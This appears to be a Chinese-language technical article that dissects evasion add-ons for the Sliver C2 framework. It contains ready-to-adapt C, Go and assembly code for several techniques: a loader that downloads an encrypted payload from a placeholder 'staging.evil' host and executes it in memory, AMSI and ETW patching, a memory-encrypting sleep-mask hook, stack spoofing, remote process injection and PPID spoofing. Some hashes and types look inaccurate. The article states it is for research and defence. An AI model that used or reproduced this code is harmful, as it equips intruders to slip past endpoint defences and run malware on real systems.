免责声明

本文档仅供网络安全技术研究与教育目的使用,严禁用于任何未经授权的系统访问或攻击活动。文中所有技术分析基于已公开的安全研究和开源项目,旨在帮助安全从业者理解和防御C2框架的规避技术。


一、Sliver C2框架架构概述

Sliver是由BishopFox开发的一款开源、跨平台的Command & Control(C2)框架,采用Go语言编写。与闭源的Cobalt Strike相比,Sliver凭借其开源属性、动态编译的植入体以及对WireGuard等现代传输协议的原生支持,在红队社区中迅速获得了大量拥趸。然而,Go运行时的特性也深刻影响了其规避技术的实现路径——这一点将在后文反复出现。

1.1 核心组件

组件 说明 对应CS概念
Implant 植入目标系统的代理程序,Go编译的原生二进制 Beacon
Beacon 异步通信模式的Implant,支持Jitter睡眠 Beacon (异步)
Session 实时交互模式的Implant,持久连接 Beacon (交互)
Server C2服务器,管理Implant、监听器、操作员 Team Server
Operator CLI 操作员命令行界面,支持多操作员协作 Aggressor/Client
Transport 通信传输层:mTLS/HTTP(S)/DNS/WireGuard Listener

1.2 通信协议矩阵

┌────────────────────────────────────────────────────────────────┐
│                   Sliver C2 通信协议架构                        │
├────────────────────────────────────────────────────────────────┤
│                                                                │
│   ┌──────────────┐                                             │
│   │  Operator CLI │──── gRPC ────┐                            │
│   └──────────────┘               │                            │
│                            ┌─────┴──────┐                     │
│                            │   Server   │                     │
│                            │ (Go binary)│                     │
│                            └─────┬──────┘                     │
│                 ┌────────────────┼────────────────┐           │
│                 │                │                │           │
│          ┌──────┴──────┐ ┌──────┴──────┐ ┌───────┴─────┐     │
│          │   mTLS      │ │  HTTP(S)    │ │    DNS      │     │
│          │ (双向认证)   │ │ (轮询/C2)   │ │ (隧道)      │     │
│          └─────────────┘ └─────────────┘ └─────────────┘     │
│                                                                │
│          ┌─────────────────────────────────────────┐          │
│          │            WireGuard (UDP)              │          │
│          │   现代加密隧道,NAT穿透,低延迟           │          │
│          └─────────────────────────────────────────┘          │
│                                                                │
└────────────────────────────────────────────────────────────────┘

1.3 Go运行时特性对规避的深远影响

这是理解Sliver与Cobalt Strike在规避技术上分道扬镳的关键起点:

1. 不调用kernel32!Sleep

Go运行时的调度器(GMP模型)在实现goroutine休眠时,并不会走Win32 API的kernel32!Sleep,而是直接通过syscall调用ntdll!NtWaitForSingleObject。这意味着:

  • 那些Hook kernel32!Sleep的EDR扫描策略对Sliver完全失效
  • Sleep Mask必须hook到NT层(NtWaitForSingleObject)才能拦截睡眠行为

2. 无内置BEACON_SLEEP_MASK回调

Cobalt Strike通过BEACON_SLEEP_MASK这一Aggressor Script回调,允许用户在Beacon睡眠前/唤醒后执行自定义的内存混淆逻辑。Sliver没有等价的内置机制,必须通过外部Kit以inline hook的方式注入睡眠混淆逻辑。这一架构差异直接催生了独立的Sleep Mask Kit项目。

3. Go调度器的10ms抢占

Go运行时每隔约10ms会发起一次抢占式调度(基于sysmon监控线程),任何长时间运行的goroutine都会被强制让出CPU。这使得在Go二进制中进行IAT hook极其危险——调度器可能在hook状态不一致时切换goroutine,导致内存损坏。


二、SliverC2-Evasion-Suite 四大Kit总览

SliverC2-Evasion-Suite是社区围绕Sliver构建的模块化规避插件集合,采用Kit化设计——每个Kit独立解决一个规避问题,通过Sliver的extension机制以tarball形式加载。

2.1 四大Kit总览对比表

Kit名称 解决问题 CS对应物 输出产物 实现语言
Loader Kit 内存执行shellcode/.NET程序集,绕过AMSI/WLDP Artifact Kit / .NET Loader C源码Loader EXE C
Sleep Mask Kit Implant睡眠时加密内存,规避扫描窗口扫描 Sleep Mask Kit (Aggressor) MaskKit(C PIC) + SleepKit(Go) C + Go
Crystal Palace Kit 生成无IAT的PIC shellcode,绕过静态分析 Artifact Kit (PIC模式) 纯PIC shellcode + DFR链接器 C (PIC)
Inject Kit 进程注入与PPID伪造,隐蔽执行 Process Inject Kit C注入器 + PPID伪造逻辑 C

2.2 插件加载机制:Extension Tarball

Sliver的extension系统通过tarball(.tar)打包Kit产物,在编译时注入到Implant二进制中:

┌─────────────────────────────────────────────────────────┐
│              Extension Tarball 加载流程                  │
├─────────────────────────────────────────────────────────┤
│                                                         │
│  [1] Kit开发者编译                                      │
│      loader.c ──► 编译 ──► loader.x64.bin (shellcode)  │
│      manifest.json (定义命令名、参数、入口)              │
│                                                         │
│  [2] 打包为tarball                                      │
│      ┌──────────────────────┐                          │
│      │ extension.tar        │                          │
│      │  ├─ manifest.json    │                          │
│      │  ├─ loader.x64.bin   │                          │
│      │  └─ loader.x86.bin   │                          │
│      └──────────────────────┘                          │
│                                                         │
│  [3] Operator加载: sliver > extensions load ./ext.tar  │
│      └─► 注册为implant命令 (如 load-assembly)          │
│                                                         │
│  [4] Implant编译时: extension内嵌到二进制               │
│      └─► 运行时从内存加载执行,不落盘                    │
│                                                         │
└─────────────────────────────────────────────────────────┘

这种设计使得红队可以按需组合Kit,形成定制化的规避能力栈——这也是"模块化规避"的核心思想。


三、Loader Kit — 内存执行与AMSI/WLDP绕过

Loader Kit的目标是在目标内存中执行shellcode或.NET程序集,同时绕过AMSI(反恶意软件扫描接口)和WLDP(Windows锁策略)这两道防线。

3.1 构建流水线

Loader Kit的构建流水线融合了多个经典工具的能力:

┌────────────────────────────────────────────────────────────────┐
│                   Loader Kit 构建流水线                         │
├────────────────────────────────────────────────────────────────┤
│                                                                │
│  [输入] .NET程序集 / Sliver shellcode                          │
│         │                                                      │
│         ▼                                                      │
│  ┌──────────────────┐                                          │
│  │ Donut 转换       │ ── .NET → 位置无关shellcode              │
│  │ bypass=3         │ ── bypass=3: 启用AMSI+WLDP补丁          │
│  └────────┬─────────┘                                          │
│           │                                                    │
│           ▼                                                    │
│  ┌──────────────────┐                                          │
│  │ 字符串加密        │ ── Chaskey-CTR 加密敏感字符串            │
│  │ (Chaskey-CTR)    │ ── 防止字符串被静态提取                   │
│  └────────┬─────────┘                                          │
│           │                                                    │
│           ▼                                                    │
│  ┌──────────────────┐                                          │
│  │ XOR加密载荷      │ ── 单字节XOR加密最终shellcode             │
│  └────────┬─────────┘                                          │
│           │                                                    │
│           ▼                                                    │
│  ┌──────────────────┐                                          │
│  │ 一次性HTTPS服务  │ ── Loader从HTTPS拉取加密载荷              │
│  │ (staging server) │ ── 拉取后立即销毁                         │
│  └──────────────────┘                                          │
│                                                                │
└────────────────────────────────────────────────────────────────┘

3.2 目标端执行链(C代码级)

Loader在目标端的执行链完全基于NT API,避免使用容易被Hook的Win32高层API:

// === Loader Kit 执行链 (C伪代码) ===

// 1. WinHTTP下载加密载荷
HINTERNET hSession = WinHttpOpen(L"Mozilla/5.0", 
    WINHTTP_ACCESS_TYPE_AUTOMATIC_PROXY, NULL, NULL, 0);
HINTERNET hConnect = WinHttpConnect(hSession, L"staging.evil", 
    INTERNET_DEFAULT_HTTPS_PORT, 0);
HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"GET", L"/s",
    NULL, NULL, NULL, WINHTTP_FLAG_SECURE);

// 2. XOR解密
for (size_t i = 0; i < payloadSize; i++) {
    decrypted[i] = encrypted[i] ^ xorKey;
}

// 3. 分配可执行内存 (NT API)
HANDLE hProcess = NtCurrentProcess();
PVOID baseAddress = NULL;
SIZE_T regionSize = decryptedSize;
NtAllocateVirtualMemory(hProcess, &baseAddress, 0, 
    &regionSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

// 4. 写入shellcode
memcpy(baseAddress, decrypted, decryptedSize);

// 5. 改为可执行权限 (避免PAGE_EXECUTE_READWRITE)
ULONG oldProtect;
NtProtectVirtualMemory(hProcess, &baseAddress, &regionSize,
    PAGE_EXECUTE_READ, &oldProtect);  // 注意: RX 而非 RWX

// 6. 创建管道捕获输出
HANDLE hReadPipe, hWritePipe;
CreatePipe(&hReadPipe, &hWritePipe, NULL, 0);

// 7. 创建线程执行
HANDLE hThread;
NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProcess,
    (PTHREAD_START_ROUTINE)baseAddress, hWritePipe, 
    FALSE, 0, 0, 0, NULL);

// 8. 读取执行输出
DWORD bytesRead;
char output[4096];
ReadFile(hReadPipe, output, sizeof(output), &bytesRead, NULL);

对于.NET程序集的执行,Loader Kit的链路更为复杂,需要手动托管CLR:

// === .NET 程序集执行链 ===
// 1. 启动CLR
ICLRRuntimeHost* pClrHost;
CorBindToRuntimeEx(NULL, L"wks", 0, 
    &CLSID_CLRRuntimeHost, &IID_ICLRRuntimeHost, (void**)&pClrHost);
pClrHost->Start();

// 2. AMSI补丁 (在CLR加载后)
PatchAmsi();  // 见 3.3

// 3. WLDP补丁
PatchWldp();  // 见 3.3 补充

// 4. 创建AppDomain并加载程序集
IUnknown* pAppDomainSetup;
pClrHost->GetAppDomainManager()->CreateDomain(L"Evil", NULL, &pAppDomainSetup);
// 5. AppDomain.Load(assemblyBytes)
AppDomain->Load_3(assemblyBytes, &assemblyHandle);

3.3 AMSI绕过原理

AMSI绕过的核心是补丁amsi.dll!AmsiScanBuffer函数的前三个字节,使其直接返回AMSI_RESULT_CLEAN(0):

┌─────────────────────────────────────────────────────────────┐
│                   AMSI 绕过原理                              │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  补丁前: AmsiScanBuffer 函数序言                            │
│  ┌──────────────────────────────────────────┐               │
│  │ mov rdx, rcx       ; 0x48 0x8B 0xD1     │               │
│  │ mov r8, rdx        ; 0x4C 0x8B 0xCA     │               │
│  │ mov rdx, [rcx+8]   ; ...                │               │
│  └──────────────────────────────────────────┘               │
│                                                             │
│  补丁后: 直接返回0 (AMSI_RESULT_CLEAN)                      │
│  ┌──────────────────────────────────────────┐               │
│  │ xor eax, eax       ; 0x33 0xC0          │ ← 清零返回值   │
│  │ ret                ; 0xC3                │ ← 直接返回     │
│  │ (后续字节保持不变)                          │               │
│  └──────────────────────────────────────────┘               │
│                                                             │
│  效果: 任何经过AmsiScanBuffer的扫描都返回"干净"              │
│                                                             │
└─────────────────────────────────────────────────────────────┘
// AMSI补丁实现
BOOL PatchAmsi() {
    HMODULE hAmsi = LoadLibraryA("amsi.dll");
    PVOID amsiScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer");
    
    // 补丁字节: xor eax,eax; ret
    BYTE patch[] = { 0x33, 0xC0, 0xC3 };
    
    DWORD oldProtect;
    VirtualProtect(amsiScanBuffer, 3, PAGE_EXECUTE_READWRITE, &oldProtect);
    memcpy(amsiScanBuffer, patch, 3);
    VirtualProtect(amsiScanBuffer, 3, oldProtect, &oldProtect);
    
    return TRUE;
}

3.4 ETW绕过原理

ETW(Event Tracing for Windows)是EDR依赖的另一个重要遥测源。Loader Kit通过补丁ntdll!EtwEventWrite,将其首字节替换为ret(0xC3),使所有ETW事件写入操作静默失败:

// ETW绕过: EtwEventWrite → ret
BOOL PatchEtw() {
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    PVOID etwEventWrite = GetProcAddress(hNtdll, "EtwEventWrite");
    
    // 补丁字节: ret
    BYTE patch[] = { 0xC3 };
    
    DWORD oldProtect;
    VirtualProtect(etwEventWrite, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
    memcpy(etwEventWrite, patch, 1);
    VirtualProtect(etwEventWrite, 1, oldProtect, &oldProtect);
    
    return TRUE;
}

注意:ETW补丁存在一个微妙的问题——如果EDR在Loader之前已注册了ETW provider的回调,单纯的EtwEventWrite补丁可能不足以完全消除遥测。一些进阶实现会同时补丁EtwNotificationRegisterNtTraceEvent


四、Sleep Mask Kit — 内存扫描规避(核心技术)

Sleep Mask是整个Evasion Suite中技术含量最高、最值得深入剖析的组件。其核心目标是:在Implant睡眠期间,将内存中的可执行代码和配置数据加密,使EDR的内存扫描在"扫描窗口"内只能看到无意义的密文。

4.1 扫描窗口问题

Implant的生命周期可以划分为"运行中"和"睡眠中"两个交替的状态。EDR只能在Implant睡眠时进行内存扫描——因为运行中扫描会触发缺页异常、影响性能,且Implant可能正在执行关键操作。这个睡眠期就是"扫描窗口"。

┌──────────────────────────────────────────────────────────────────┐
│                    扫描窗口时间线                                 │
├──────────────────────────────────────────────────────────────────┤
│                                                                  │
│  时间 ──────────────────────────────────────────────────────►    │
│                                                                  │
│  状态:  [运行中]  [══ 睡眠中 (扫描窗口) ══]  [运行中]  [睡眠]   │
│           │                      │                 │             │
│  内存:  明文可执行        ████加密密文████        明文可执行      │
│         (代码可见)        (代码不可见)             (代码可见)     │
│           │                      │                 │             │
│  EDR:   无法扫描           ★ 可在此扫描 ★          无法扫描       │
│         (Implant活跃)     (Implant休眠)           (Implant活跃)  │
│                                                                  │
│  关键: Sleep Mask的目标 = 让扫描窗口内的内存内容变为密文          │
│                                                                  │
└──────────────────────────────────────────────────────────────────┘

EDR四种扫描策略:

扫描策略 触发时机 Sliver对抗方式
定期全量扫描 固定间隔(如每5分钟) Sleep Mask加密
行为触发扫描 可疑API调用后 避免触发可疑API
回调式扫描 进程创建/模块加载时 延迟注入
Unhook后扫描 检测Hook被移除 避免patch ntdll

4.2 MaskKit — 纯C原始Shellcode实现

MaskKit是Sleep Mask Kit的核心组件,它以纯C编写的位置无关代码(PIC)形式存在,负责在Implant进入睡眠前加密自身内存,并在唤醒后解密。

Payload布局

┌─────────────────────────────────────────────────────────────────┐
│                    MaskKit Payload 内存布局                      │
├─────────────────────────────────────────────────────────────────┤
│  偏移          内容                    说明                      │
│─────────────────────────────────────────────────────────────────│
│  0x0000   ┌─────────────────────┐                               │
│           │  MASKER SHELLCODE   │  ← PIC入口, 负责hook+加密     │
│           │  (位置无关代码)      │     约2-4KB                   │
│  0x0800   ├─────────────────────┤                               │
│           │  MAGIC (8 bytes)    │  ← "MASKKIT1" 标识符           │
│  0x0808   ├─────────────────────┤                               │
│           │  CONFIG             │  ← 配置区(睡眠时长/掩码策略)   │
│  0x0840   ├─────────────────────┤                               │
│           │  XOR KEY (32 bytes) │  ← 加密密钥                    │
│  0x0860   ├─────────────────────┤                               │
│           │                     │                               │
│           │  加密的SHELLCODE    │  ← 被加密的implant主体代码     │
│           │  (Implant代码段)    │     睡眠时为密文               │
│           │                     │     唤醒时解密为明文           │
│           └─────────────────────┘                               │
└─────────────────────────────────────────────────────────────────┘

PIC自定位技巧

PIC代码必须能够在不知道自身加载地址的情况下定位数据。MaskKit使用经典的call + pop技巧获取RIP:

; === PIC自定位 (x64汇编) ===
; 利用call指令会将返回地址压栈的特性获取当前RIP

get_rip:
    call delta               ; call下一条指令
delta:
    pop rax                  ; rax = delta的地址 (即当前RIP)
    sub rax, 5               ; 减去call指令长度(5字节), 得到get_rip地址
    
    ; 现在rax是代码基址, 可以相对寻址CONFIG/MAGIC等数据
    ; 例如: CONFIG地址 = rax + (CONFIG偏移 - get_rip偏移)
    lea rcx, [rax + (config_offset - delta_offset)]
    
    ; 读取配置
    mov edx, [rcx + CONFIG_SLEEP_DURATION]  ; 睡眠时长

ROR13 PEB遍历API解析

PIC shellcode无法使用IAT,必须自行通过PEB(Process Environment Block)遍历已加载模块,并按函数名哈希查找API。MaskKit使用ROR13哈希算法:

// === ROR13 哈希算法 ===
DWORD ror13_hash(const char* str) {
    DWORD hash = 0;
    while (*str) {
        hash = (hash >> 13) | (hash << 19);  // 循环右移13位
        hash += *str;
        str++;
    }
    return hash;
}

// 常见API的ROR13哈希值:
// ntdll.dll!NtWaitForSingleObject  → 0xC4D3B81F (示例)
// kernel32.dll!LoadLibraryA        → 0x726774C
// kernel32.dll!GetProcAddress      → 0x7802F749

// === PEB遍历解析API ===
PVOID ResolveApi(DWORD moduleHash, DWORD funcHash) {
    // 1. 通过TEB→PEB获取已加载模块链表
    PPEB peb = (PPEB)__readgsqword(0x60);
    PPEB_LDR_DATA ldr = peb->Ldr;
    PLIST_ENTRY head = &ldr->InMemoryOrderModuleList;
    PLIST_ENTRY curr = head->Flink;
    
    // 2. 遍历模块, 匹配模块哈希
    while (curr != head) {
        PLDR_DATA_TABLE_ENTRY entry = CONTAINING_RECORD(curr, 
            LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
        
        if (ror13_hash_w(entry->BaseDllName.Buffer) == moduleHash) {
            // 3. 遍历导出表, 匹配函数哈希
            PIMAGE_EXPORT_DIRECTORY exports = (PIMAGE_EXPORT_DIRECTORY)
                (entry->DllBase + ...);  // 解析PE导出表
            
            for (DWORD i = 0; i < exports->NumberOfNames; i++) {
                char* funcName = (char*)(entry->DllBase + 
                    nameRvas[ordinalTable[i]]);
                if (ror13_hash(funcName) == funcHash) {
                    return (PVOID)(entry->DllBase + 
                        funcRvas[ordinalTable[i]]);
                }
            }
        }
        curr = curr->Flink;
    }
    return NULL;
}

内联Hook机制

MaskKit的核心是hook ntdll!NtWaitForSingleObject——这是Go运行时睡眠时调用的NT函数。hook采用inline trampoline方式,覆写函数前12字节为跳转到MaskKit代码的跳板:

┌──────────────────────────────────────────────────────────────┐
│          NtWaitForSingleObject Inline Hook                  │
├──────────────────────────────────────────────────────────────┤
│                                                              │
│  补丁前 (ntdll!NtWaitForSingleObject):                      │
│  ┌────────────────────────────────────────────┐             │
│  │ mov r10, rcx          ; 0x4C 0x8B 0xD1    │  ← syscall序言│
│  │ mov eax, 0x04         ; syscall number     │             │
│  │ syscall                                     │             │
│  │ ret                                         │             │
│  └────────────────────────────────────────────┘             │
│                                                              │
│  补丁后 (12字节JMP跳板):                                     │
│  ┌────────────────────────────────────────────┐             │
│  │ mov rax, MaskKit_addr ; 0x48 0xB8 ...     │  ← 10字节    │
│  │ jmp rax               ; 0xFF 0xE0         │  ← 2字节     │
│  │ (共12字节覆写原始序言)                       │              │
│  └────────────────────────────────────────────┘             │
│                                                              │
│  执行流: NtWaitForSingleObject → JMP → MaskKit代码          │
│         → [加密内存] → 调用原始NtWaitForSingleObject        │
│         → [睡眠] → 返回 → [解密内存] → 返回调用者           │
│                                                              │
└──────────────────────────────────────────────────────────────┘

Hook决策逻辑

并非每次NtWaitForSingleObject调用都需要mask——短暂的等待(如锁竞争)不需要加密。MaskKit通过检查等待时长参数来过滤:

// === Hook决策逻辑 (C伪代码) ===
NTSTATUS HookedNtWaitForSingleObject(
    HANDLE Handle, 
    ALERTABLE Alertable, 
    PLARGE_INTEGER Timeout) 
{
    // 1. 检查是否有超时参数
    if (Timeout == NULL) {
        // 无限等待, 不mask (可能是关键锁)
        return OriginalNtWaitForSingleObject(Handle, Alertable, Timeout);
    }
    
    // 2. 将100ns单位转换为毫秒
    LARGE_INTEGER timeout = *Timeout;
    if (timeout.QuadPart < 0) {
        // 负值 = 相对超时
        ULONGLONG waitMs = (-timeout.QuadPart) / 10000;
        
        // 3. 决策: ≥5秒才执行mask
        if (waitMs >= 5000) {
            // ★ 进入Sleep Mask流程 ★
            EncryptMemoryRegion(implantBase, implantSize, xorKey);
            
            NTSTATUS status = OriginalNtWaitForSingleObject(
                Handle, Alertable, Timeout);
            
            // 唤醒后解密
            DecryptMemoryRegion(implantBase, implantSize, xorKey);
            return status;
        }
    }
    
    // 4. 短等待, 直接透传
    return OriginalNtWaitForSingleObject(Handle, Alertable, Timeout);
}

栈伪造

为了让hook的返回栈帧看起来像正常的调用链(而非从trampoline跳转过来),MaskKit使用ntdll中的RET gadget替换返回地址:

// === 栈伪造 ===
// 找到ntdll中的 "ret" gadget (0xC3)
PVOID retGadget = FindRetGadget(ntdllBase);

// 在hook执行前, 伪造返回地址
// 使栈回溯看起来像: 调用者 → ntdll!ret → 正常返回
PVOID originalReturnAddr = *(PVOID*)_RSP;
*(PVOID*)_RSP = retGadget;  // 替换为ret gadget
// ... 执行mask逻辑 ...
// 恢复
*(PVOID*)_RSP = originalReturnAddr;

4.3 SleepKit — Go EXE实现

SleepKit是MaskKit的Go语言对应物,用于Sliver编译为Go EXE的场景。它需要处理Go运行时特有的两条睡眠路径:

路径 触发条件 睡眠函数 Hook可行性
路径1 kernel32!Sleep 调用 kernel32!Sleepntdll!NtDelayExecution 可hook kernel32层
路径2 Go运行时直接syscall runtime·usleepntdll!NtWaitForSingleObject 必须hook NT层
// === SleepKit Go实现 (伪代码) ===
package sleepkit

/*
#include "maskkit.h"
*/
import "C"

import (
    "unsafe"
    "syscall"
)

var (
    ntdll                 = syscall.NewLazyDLL("ntdll.dll")
    ntWaitForSingleObject = ntdll.NewProc("NtWaitForSingleObject")
    
    // XOR密钥和配置
    xorKey     [32]byte
    implBase   uintptr
    implSize   uintptr
    isMasked   bool
)

// HookNtWaitForSingleObject 安装inline hook
func HookNtWaitForSingleObject() {
    origFunc := ntWaitForSingleObject.Addr()
    
    // 调用C代码安装12字节JMP跳板
    C.install_hook(unsafe.Pointer(origFunc), unsafe.Pointer(C.hooked_handler))
}

//export hooked_handler
func hooked_handler(handle syscall.Handle, alertable bool, 
    timeout *syscall.LazyTimer) uintptr {
    
    // 决策: 等待时长 >= 5秒才mask
    waitMs := timeoutToMs(timeout)
    if waitMs < 5000 {
        // 短等待, 透传
        return callOriginal(handle, alertable, timeout)
    }
    
    // ===== Sleep Mask 循环 =====
    // 1. 加密内存
    encryptRegion(implBase, implSize, &xorKey)
    isMasked = true
    
    // 2. 调用原始睡眠函数
    status := callOriginal(handle, alertable, timeout)
    
    // 3. 唤醒后解密
    decryptRegion(implBase, implSize, &xorKey)
    isMasked = false
    
    return status
}

4.4 关键洞察

核心结论:Go运行时不调用kernel32!Sleep,必须hook Nt级函数。

这是Sliver与Cobalt Strike在Sleep Mask实现上的根本差异。Cobalt Strike的Beacon是C/C++编写,睡眠时走kernel32!Sleepntdll!NtDelayExecution的标准路径,EDR只需Hook kernel32!Sleep即可捕获睡眠时机。

而Sliver的Go运行时调度器在实现goroutine休眠时,会直接发起NtWaitForSingleObject的syscall,绕过整个Win32 API层。这意味着:

  1. EDR在kernel32!Sleep上设置的Hook对Sliver完全无效
  2. Sleep Mask必须hook到ntdll!NtWaitForSingleObject这一NT层
  3. 如果EDR只Hook了Win32层,Sliver的睡眠行为根本不可见

五、Crystal Palace Kit — 无IAT的PIC Shellcode

Crystal Palace Kit解决的是另一个维度的规避问题:静态分析。编译后的Go二进制包含完整的IAT(Import Address Table),暴露了所有调用的API,是静态特征分析的重点目标。Crystal Palace生成无IAT的纯PIC(Position Independent Code)shellcode。

5.1 DFR动态函数解析系统

Crystal Palace的核心是DFR(Dynamic Function Resolution)系统——所有API调用在编译时被替换为"约定符号",运行时通过PEB遍历动态解析:

┌────────────────────────────────────────────────────────────────┐
│                   DFR 动态函数解析五阶段                        │
├────────────────────────────────────────────────────────────────┤
│                                                                │
│  [阶段1] 源码编写                                              │
│   源码中使用 MODULE$FUNCTION 约定符号:                         │
│   例: ntdll$NtAllocateVirtualMemory(...)                      │
│                                                                │
│  [阶段2] Spec指令                                              │
│   链接器spec将 $ 符号转为DFR桩:                                │
│   ntdll$NtAllocateVirtualMemory → __dfr_ntdll_NtAllocate...   │
│                                                                │
│  [阶段3] 链接器解析                                            │
│   生成DFR桩函数, 包含:                                         │
│   - 模块哈希 (ntdll.dll的ROR13)                               │
│   - 函数哈希 (NtAllocateVirtualMemory的ROR13)                  │
│                                                                │
│  [阶段4] 运行时PEB遍历                                        │
│   DFR桩执行时:                                                 │
│   TEB→PEB→Ldr→模块链表 → 匹配模块哈希 →                       │
│   解析导出表 → 匹配函数哈希 → 返回函数地址                     │
│                                                                │
│  [阶段5] 调用                                                  │
│   通过函数指针调用真实API                                      │
│   整个过程不经过IAT                                            │
│                                                                │
└────────────────────────────────────────────────────────────────┘

5.2 PICO哈希表结构

Crystal Palace维护一个PICO(PIC Optimized)哈希表,缓存已解析的API地址,避免每次调用都遍历PEB:

// === PICO 哈希表结构 ===
typedef struct _PICO_HASH_ENTRY {
    DWORD moduleHash;       // 模块名ROR13哈希
    DWORD funcHash;         // 函数名ROR13哈希
    PVOID funcAddress;      // 解析后的函数地址 (运行时填充)
    DWORD flags;            // 调用约定标志
} PICO_HASH_ENTRY;

// 全局哈希表 (编译时生成, 运行时在首次调用时填充)
PICO_HASH_ENTRY picoHashTable[] = {
    { 0x6A4ABCDF, 0xC4D3B81F, NULL, 0 },  // ntdll$NtWaitForSingleObject
    { 0x6A4ABCDF, 0xA1B2C3D4, NULL, 0 },  // ntdll$NtAllocateVirtualMemory
    { 0x6B8D1E5F, 0x726774C,  NULL, 0 },  // kernel32$LoadLibraryA
    // ... 更多条目
};

// DFR桩: 首次调用时解析, 后续从缓存读取
PVOID ResolvePico(DWORD moduleHash, DWORD funcHash) {
    for (int i = 0; i < ARRAY_SIZE(picoHashTable); i++) {
        if (picoHashTable[i].moduleHash == moduleHash &&
            picoHashTable[i].funcHash == funcHash) {
            
            if (picoHashTable[i].funcAddress == NULL) {
                // 首次调用, 执行PEB遍历解析
                picoHashTable[i].funcAddress = 
                    ResolveApi(moduleHash, funcHash);
            }
            return picoHashTable[i].funcAddress;
        }
    }
    return NULL;
}

5.3 被禁用的技术(Go运行时限制)

Crystal Palace的某些规避技术在Go EXE场景下被主动禁用,根因是Go运行时的特殊行为:

技术 文件 禁用原因
IAT Hooks hooks.c Go调度器每~10ms发起抢占,goroutine可能在IAT hook状态不一致时切换,导致崩溃
Memory Mask mask.c Go运行时在XOR加密内存期间仍可能调度其他goroutine到同一内存区域执行,触发解密前访问→崩溃
Stack Spoofing spoof.c Go运行时自行管理栈(连续栈/分段栈),伪造返回地址会破坏Go的栈展开器(unwinder)和垃圾回收器(GC)
┌─────────────────────────────────────────────────────────────┐
│           Go运行时 vs 规避技术兼容性                         │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  技术需求          Go运行时行为          结果                │
│  ────────────────  ──────────────────  ──────              │
│  IAT Hook需原子     10ms抢占调度         ✗ 状态损坏          │
│  Memory Mask需      goroutine并发        ✗ 加密中被访问      │
│  独占访问            访问同区域                                │
│  Stack Spoof需      Go自管理栈           ✗ unwinder/GC崩溃  │
│  稳定栈布局          (连续栈增长)                              │
│                                                             │
│  结论: Go运行时的"自主性"限制了多种规避技术                  │
│       这是Sliver规避能力的固有短板                           │
│                                                             │
└─────────────────────────────────────────────────────────────┘

这正是Crystal Palace Kit在Go场景下只能实现DFR和PIC化,而无法使用更激进内存操作的原因。


六、Inject Kit — 进程注入与PPID伪造

Inject Kit负责将Sliver的shellcode注入到其他进程中执行,并提供PPID(父进程ID)伪造能力,以躲避基于父子进程关系的检测规则。

6.1 注入执行链(C代码级)

注入链全程使用NT API,避免Win32层Hook:

// === Inject Kit 注入执行链 (C伪代码) ===

// 1. 打开目标进程
HANDLE hProcess;
OBJECT_ATTRIBUTES objAttr;
CLIENT_ID clientId = { targetPid, 0 };
InitializeObjectAttributes(&objAttr, NULL, 0, NULL, NULL);
NtOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &objAttr, &clientId);

// 2. 在目标进程分配内存
PVOID remoteBase = NULL;
SIZE_T regionSize = shellcodeSize;
NtAllocateVirtualMemory(hProcess, &remoteBase, 0, &regionSize,
    MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

// 3. 写入shellcode
NtWriteVirtualMemory(hProcess, remoteBase, 
    shellcode, shellcodeSize, NULL);

// 4. 修改为可执行权限 (RW → RX, 避免RWX)
ULONG oldProtect;
NtProtectVirtualMemory(hProcess, &remoteBase, &regionSize,
    PAGE_EXECUTE_READ, &oldProtect);

// 5. 创建远程线程执行
HANDLE hThread;
NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProcess,
    (PTHREAD_START_ROUTINE)remoteBase, NULL,
    FALSE, 0, 0, 0, NULL);

// 6. 等待执行完成 (可选)
NtWaitForSingleObject(hThread, FALSE, NULL);

6.2 PPID伪造核心代码

PPID伪造使新创建的进程看起来是由指定的"合法"父进程启动的,而非由Sliver Implant启动。这对于绕过基于父进程关系的检测(如"sihost.exe不应由cmd.exe启动")至关重要:

// === PPID伪造核心代码 ===

BOOL CreateProcessWithPpid(
    LPCWSTR exePath,        // 要启动的EXE路径
    DWORD parentPid,        // 伪造的父进程PID
    LPSTARTUPINFOW psi)     // 启动信息
{
    // 1. 打开伪造的父进程
    //    需要 PROCESS_CREATE_PROCESS 权限
    HANDLE hParent = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, parentPid);
    if (!hParent) return FALSE;
    
    // 2. 计算属性列表大小
    SIZE_T attrListSize = 0;
    InitializeProcThreadAttributeList(NULL, 1, 0, &attrListSize);
    
    // 3. 分配并初始化属性列表
    LPPROC_THREAD_ATTRIBUTE_LIST pAttrList = 
        (LPPROC_THREAD_ATTRIBUTE_LIST)malloc(attrListSize);
    InitializeProcThreadAttributeList(pAttrList, 1, 0, &attrListSize);
    
    // 4. 设置 PARENT_PROCESS 属性
    //    这是指定父进程的关键
    UpdateProcThreadAttribute(
        pAttrList,
        0,                          // dwFlags
        PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,  // 属性类型
        &hParent,                   // 属性值 = 父进程句柄
        sizeof(HANDLE),             // 属性大小
        NULL, NULL                  // 保留
    );
    
    // 5. 以挂起状态创建进程
    STARTUPINFOEXW siex = { 0 };
    siex.StartupInfo.cb = sizeof(STARTUPINFOEXW);
    siex.lpAttributeList = pAttrList;
    
    PROCESS_INFORMATION pi = { 0 };
    CreateProcessW(
        NULL,
        (LPWSTR)exePath,
        NULL, NULL,
        FALSE,
        EXTENDED_STARTUPINFO_PRESENT | CREATE_SUSPENDED,  // 挂起启动
        NULL, NULL,
        (LPSTARTUPINFOW)&siex,
        &pi
    );
    
    // 6. 清理
    DeleteProcThreadAttributeList(pAttrList);
    free(pAttrList);
    CloseHandle(hParent);
    
    // 注入shellcode后 ResumeThread 恢复执行
    // ...
    
    return TRUE;
}

